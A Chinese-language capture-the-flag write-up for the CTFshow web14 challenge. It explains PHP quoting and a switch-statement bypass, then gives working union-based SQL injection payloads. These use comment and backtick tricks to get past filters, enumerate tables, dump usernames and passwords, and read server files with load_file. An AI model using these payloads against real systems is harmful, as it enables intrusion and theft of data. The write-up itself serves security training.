CTFshow-web-web14
打开靶场,显示如下:
首先科普一个PHP的特性: 单引号包裹的内容只能当做纯字符串, 而双引号包裹的内容, 可以识别变量, 所以源码中的 " u r l " 可以当做 url" 可以当做 url"可以当做url 变量被正常执行
双引号(" "):在双引号中,除了$, ‘’, `和\以外所有的字符都解释成字符本身。
单引号(’ ‘):在单引号中所有的字符包括特殊字符($,’',`和\)都将解释成字符本身而成为普通字符。
反引号(
):在反引号中的字符串将解释成shell命令来执行。
发现是get传参,变量是c,c的值进入sleep函数等待,c值越大,等待时间越长。进入switch语句判断,所有的case判断完成后break退出,只有到case 3时,继续到case 6000000,然后echo一个$url,如果我们想看c=6000000的值,就要先构造c=3。
在url后添加/?c=3
尝试访问一下here_1s_your_f1ag.php
出现查询界面,查看一下源代码,发现过滤了information_schema.tables,information_schema.columns,linestring,空格,polygonis,不难看出是sql注入
输入一个恒等式,页面正常显示,/**/是空格的绕过方法之一
-1/**/or/**/true
输入一个恒不等式,页面空显示
-1/**/or/**/false
确定存在sql注入漏洞,注入点为数值型注入,页面存在回显,使用联合注入
获取当前使用数据库
?query=-1/**/union/**/select/**/database()
获取表
?query=-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()
这里用了反引号绕过,在tables两边加了反引号``
获取字段
?query=-1/**/union/**/select/**/group_concat(column_name)from/**/information_schema.`columns`/**/where/**/table_name='content'
获取数据
?query=-1/**/union/**/select/**/group_concat(username,password)from/**/content
发现flag不在这儿,发现有secret,想起最开始有secret.php
访问secret.php文件,虽然没有内容,但是没显示报错,说明文件存在,但是读取方法不对,apache的默认网站根路径是 /var/www/html, 我们试一下读这个文件的内容
利用数据库的文件读写功能读取文件内容
Load_file函数的功能是读取文件并返回文件内容为字符串。
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
发现没反应,利用burpsuite进行抓包,利用重发器,发现有新的提示
‘/real_flag_is_here’
找出flag